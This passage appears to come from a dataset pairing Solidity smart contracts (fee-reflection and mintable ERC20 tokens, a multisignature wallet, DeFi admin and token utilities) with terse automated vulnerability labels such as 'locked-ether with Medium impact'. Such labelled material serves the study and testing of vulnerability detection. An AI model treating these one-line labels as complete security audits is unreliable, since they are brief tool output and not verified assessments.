_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | No vulnerabilities found |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Silver is ERC20("Silver", "SILVER"), Ownable {
mapping(address => bool) public managers;
function addManager(address _address) external onlyOwner {
managers[_address] = true;
}
function removeManager(address _address) external onlyOwner {
managers[_address] = false;
}
function mint(address _to, uint _amount) external {
require(managers[msg.sender] == true, "This address is not allowed to interact with the contract");
_mint(_to, _amount);
}
function burn(address _from, uint _amount) external {
require(managers[msg.sender] == true, "This address is not allowed to interact with the contract");
_burn(_from, _amount);
}
} | No vulnerabilities found |
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10;
abstract contract IDFSRegistry {
function getAddr(bytes4 _id) public view virtual returns (address);
function addNewContract(
bytes32 _id,
address _contractAddr,
uint256 _waitPeriod
) public virtual;
function startContractChange(bytes32 _id, address _newContractAddr) public virtual;
function approveContractChange(bytes32 _id) public virtual;
function cancelContractChange(bytes32 _id) public virtual;
function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual;
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256 digits);
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library Address {
//insufficient balance
error InsufficientBalance(uint256 available, uint256 required);
//unable to send value, recipient may have reverted
error SendingValueFail();
//insufficient balance for call
error InsufficientBalanceForCall(uint256 available, uint256 required);
//call to non-contract
error NonContractCall();
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
uint256 balance = address(this).balance;
if (balance < amount){
revert InsufficientBalance(balance, amount);
}
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
if (!(success)){
revert SendingValueFail();
}
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
uint256 balance = address(this).balance;
if (balance < value){
revert InsufficientBalanceForCall(balance, value);
}
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
if (!(isContract(target))){
revert NonContractCall();
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/// @dev Edited so it always first approves 0 and then the value, because of non standard tokens
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract MainnetAuthAddresses {
address internal constant ADMIN_VAULT_ADDR = 0xCCf3d848e08b94478Ed8f46fFead3008faF581fD;
address internal constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7;
address internal constant ADMIN_ADDR = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9; // USED IN ADMIN VAULT CONSTRUCTOR
}
contract AuthHelper is MainnetAuthAddresses {
}
contract AdminVault is AuthHelper {
address public owner;
address public admin;
error SenderNotAdmin();
constructor() {
owner = msg.sender;
admin = ADMIN_ADDR;
}
/// @notice Admin is able to change owner
/// @param _owner Address of new owner
function changeOwner(address _owner) public {
if (admin != msg.sender){
revert SenderNotAdmin();
}
owner = _owner;
}
/// @notice Admin is able to set new admin
/// @param _admin Address of multisig that becomes new admin
function changeAdmin(address _admin) public {
if (admin != msg.sender){
revert SenderNotAdmin();
}
admin = _admin;
}
}
contract AdminAuth is AuthHelper {
using SafeERC20 for IERC20;
AdminVault public constant adminVault = AdminVault(ADMIN_VAULT_ADDR);
error SenderNotOwner();
error SenderNotAdmin();
modifier onlyOwner() {
if (adminVault.owner() != msg.sender){
revert SenderNotOwner();
}
_;
}
modifier onlyAdmin() {
if (adminVault.admin() != msg.sender){
revert SenderNotAdmin();
}
_;
}
/// @notice withdraw stuck funds
function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner {
if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
payable(_receiver).transfer(_amount);
} else {
IERC20(_token).safeTransfer(_receiver, _amount);
}
}
/// @notice Destroy the contract
function kill() public onlyAdmin {
selfdestruct(payable(msg.sender));
}
}
contract DSMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x + y;
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x - y;
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x * y;
}
function div(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x / y;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x >= y ? x : y;
}
function imin(int256 x, int256 y) internal pure returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) internal pure returns (int256 z) {
return x >= y ? x : y;
}
uint256 constant WAD = 10**18;
uint256 constant RAY = 10**27;
function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
abstract contract ITrigger {
function isTriggered(bytes memory, bytes memory) public virtual returns (bool);
function isChangeable() public virtual returns (bool);
function changedSubData(bytes memory) public virtual returns (bytes memory);
}
interface IFeedRegistry {
struct Phase {
uint16 phaseId;
uint80 startingAggregatorRoundId;
uint80 endingAggregatorRoundId;
}
event FeedProposed(
address indexed asset,
address indexed denomination,
address indexed proposedAggregator,
address currentAggregator,
address sender
);
event FeedConfirmed(
address indexed asset,
address indexed denomination,
address indexed latestAggregator,
address previousAggregator,
uint16 nextPhaseId,
address sender
);
// V3 AggregatorV3Interface
function decimals(
address base,
address quote
)
external
view
returns (
uint8
);
function description(
address base,
address quote
)
external
view
returns (
string memory
);
function version(
address base,
address quote
)
external
view
returns (
uint256
);
function latestRoundData(
address base,
address quote
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function getRoundData(
address base,
address quote,
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
// V2 AggregatorInterface
function latestAnswer(
address base,
address quote
)
external
view
returns (
int256 answer
);
function latestTimestamp(
address base,
address quote
)
external
view
returns (
uint256 timestamp
);
function latestRound(
address base,
address quote
)
external
view
returns (
uint256 roundId
);
function getAnswer(
address base,
address quote,
uint256 roundId
)
external
view
returns (
int256 answer
);
function getTimestamp(
address base,
address quote,
uint256 roundId
)
external
view
returns (
uint256 timestamp
);
function isFeedEnabled(
address aggregator
)
external
view
returns (
bool
);
function getPhase(
address base,
address quote,
uint16 phaseId
)
external
view
returns (
Phase memory phase
);
// Round helpers
function getPhaseRange(
address base,
address quote,
uint16 phaseId
)
external
view
returns (
uint80 startingRoundId,
uint80 endingRoundId
);
function getPreviousRoundId(
address base,
address quote,
uint80 roundId
) external
view
returns (
uint80 previousRoundId
);
function getNextRoundId(
address base,
address quote,
uint80 roundId
) external
view
returns (
uint80 nextRoundId
);
// Feed management
function proposeFeed(
address base,
address quote,
address aggregator
) external;
function confirmFeed(
address base,
address quote,
address aggregator
) external;
// Proposed aggregator
function proposedGetRoundData(
address base,
address quote,
uint80 roundId
)
external
view
returns (
uint80 id,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function proposedLatestRoundData(
address base,
address quote
)
external
view
returns (
uint80 id,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
// Phases
function getCurrentPhaseId(
address base,
address quote
)
external
view
returns (
uint16 currentPhaseId
);
}
interface IWStEth {
function wrap(uint256 _stETHAmount) external returns (uint256);
function unwrap(uint256 _wstETHAmount) external returns (uint256);
function stEthPerToken() external view returns (uint256);
}
library Denominations {
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant BTC = 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB;
// Fiat currencies follow https://en.wikipedia.org/wiki/ISO_4217
address public constant USD = address(840);
address public constant GBP = address(826);
address public constant EUR = address(978);
address public constant JPY = address(392);
address public constant KRW = address(410);
address public constant CNY = address(156);
address public constant AUD = address(36);
address public constant CAD = address(124);
address public constant CHF = address(756);
address public constant ARS = address(32);
address public constant PHP = address(608);
address public constant NZD = address(554);
address public constant SGD = address(702);
address public constant NGN = address(566);
address public constant ZAR = address(710);
address public constant RUB = address(643);
address public constant INR = address(356);
address public constant BRL = address(986);
}
abstract contract IWETH {
function allowance(address, address) public virtual view returns (uint256);
function balanceOf(address) public virtual view returns (uint256);
function approve(address, uint256) public virtual;
function transfer(address, uint256) public virtual returns (bool);
function transferFrom(
address,
address,
uint256
) public virtual returns (bool);
function deposit() public payable virtual;
function withdraw(uint256) public virtual;
}
library TokenUtils {
using SafeERC20 for IERC20;
address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
function approveToken(
address _tokenAddr,
address _to,
uint256 _amount
) internal {
if (_tokenAddr == ETH_ADDR) return;
if (IERC20(_tokenAddr).allowance(address(this), _to) < _amount) {
IERC20(_tokenAddr).safeApprove(_to, _amount);
}
}
function pullTokensIfNeeded(
address _token,
address _from,
uint256 _amount
) internal returns (uint256) {
// handle max uint amount
if (_amount == type(uint256).max) {
_amount = getBalance(_token, _from);
}
if (_from != address(0) && _from != address(this) && _token != ETH_ADDR && _amount != 0) {
IERC20(_token).safeTransferFrom(_from, address(this), _amount);
}
return _amount;
}
function withdrawTokens(
address _token,
address _to,
uint256 _amount
) internal returns (uint256) {
if (_amount == type(uint256).max) {
_amount = getBalance(_token, address(this));
}
if (_to != address(0) && _to != address(this) && _amount != 0) {
if (_token != ETH_ADDR) {
IERC20(_token).safeTransfer(_to, _amount);
} else {
(bool success, ) = _to.call{value: _amount}("");
require(success, "Eth send fail");
}
}
return _amount;
}
function depositWeth(uint256 _amount) internal {
IWETH(WETH_ADDR).deposit{value: _amount}();
}
function withdrawWeth(uint256 _amount) internal {
